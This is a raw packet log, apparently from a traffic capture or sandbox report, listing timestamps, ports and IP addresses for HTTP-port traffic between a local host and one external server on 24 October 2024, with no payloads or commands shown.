Oct 24, 2024 09:07:27.392545938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392693043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392699003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392709970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392716885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392724991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392728090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392738104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392745018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392745018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392770052 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392784119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.392873049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.392977953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.393050909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393057108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393068075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393102884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.393131971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393136978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393147945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393153906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393172979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.393378973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.393498898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.394423962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.394428968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.394440889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.394505024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.394511938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.394522905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.394558907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:27.612313986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:27.612360001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.060355902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.060525894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.110634089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.111229897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.116130114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116139889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116153955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116162062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116215944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.116257906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.116724014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116730928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116744041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116806030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.116833925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116841078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116852999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.116887093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117002964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117010117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117021084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117027044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117033005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117048979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117057085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117073059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117094040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117161036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117167950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117175102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117203951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117310047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117316008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117327929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117332935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117342949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117348909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117367029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117371082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117372990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117384911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117389917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117391109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117403030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117415905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117432117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117449045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117750883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117758036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117769003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117774010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117779970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117790937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117796898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117801905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117806911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117835999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117846012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117851019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117857933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117870092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117876053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117881060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117892981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117897987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117902994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117908001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117908955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117922068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.117933035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117953062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.117966890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118477106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118483067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118494034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118499994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118505001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118516922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118522882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118527889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118531942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118534088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118539095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118551016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118556023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118561029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118562937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118566990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118571997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118577957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118586063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118593931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118599892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118602991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118612051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118617058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118623018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118623972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118633986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118634939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118639946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118645906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118655920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118660927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.118662119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118685007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.118705988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119443893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119450092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119462013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119467020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119471073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119482040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119486094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119491100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119499922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119499922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119504929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119508982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119522095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119530916 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119534969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119540930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119540930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119545937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119551897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119556904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119559050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119564056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119570017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119579077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119581938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119584084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119589090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119592905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119599104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119604111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119606018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119611025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.119622946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119632959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.119659901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120368958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120373964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120383978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120389938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120393991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120403051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120408058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120418072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120423079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120431900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120435953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120438099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120440960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120451927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120455980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120465994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120471954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120476961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120486975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120490074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120495081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120503902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120508909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120520115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120524883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120533943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120534897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120538950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120544910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120548964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120554924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.120565891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.120579958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121324062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121334076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121339083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121347904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121352911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121361971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121366978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121376991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121381044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121385098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121388912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121391058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121400118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121402025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121404886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121419907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121424913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121433973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121438026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121438980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121452093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121458054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121463060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121463060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121473074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121479034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121483088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121484995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121493101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121494055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121500015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121505976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121510029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.121527910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.121546984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.122282028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122287989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122306108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122312069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122323036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122328043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122332096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122337103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122339964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.122342110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122347116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122351885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122354031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.122356892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122366905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122370005 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.122371912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122381926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122387886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122392893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122405052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122410059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122415066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.122416019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.122438908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.122450113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.204153061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.204999924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.672250032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.678016901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.957956076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.957973957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.957984924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.957994938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958017111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958029032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958039999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958064079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.958141088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.958142996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958154917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958165884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958241940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958242893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:28.958254099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958265066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:28.958357096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.074917078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121345043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121356964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121500969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121511936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121511936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.121522903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121555090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.121634960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121645927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121656895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121684074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.121707916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121722937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121769905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121781111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121876955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121887922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121897936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121901989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.121912956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121938944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.121973038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.121978045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.121984005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122009993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122028112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122029066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.122037888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122051954 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.122133017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122143984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122159958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.122242928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.122283936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122292995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122385979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122395039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.122412920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.122497082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.192054987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.192082882 CEST	80	49772	185.215.113.16	192.168.2.6
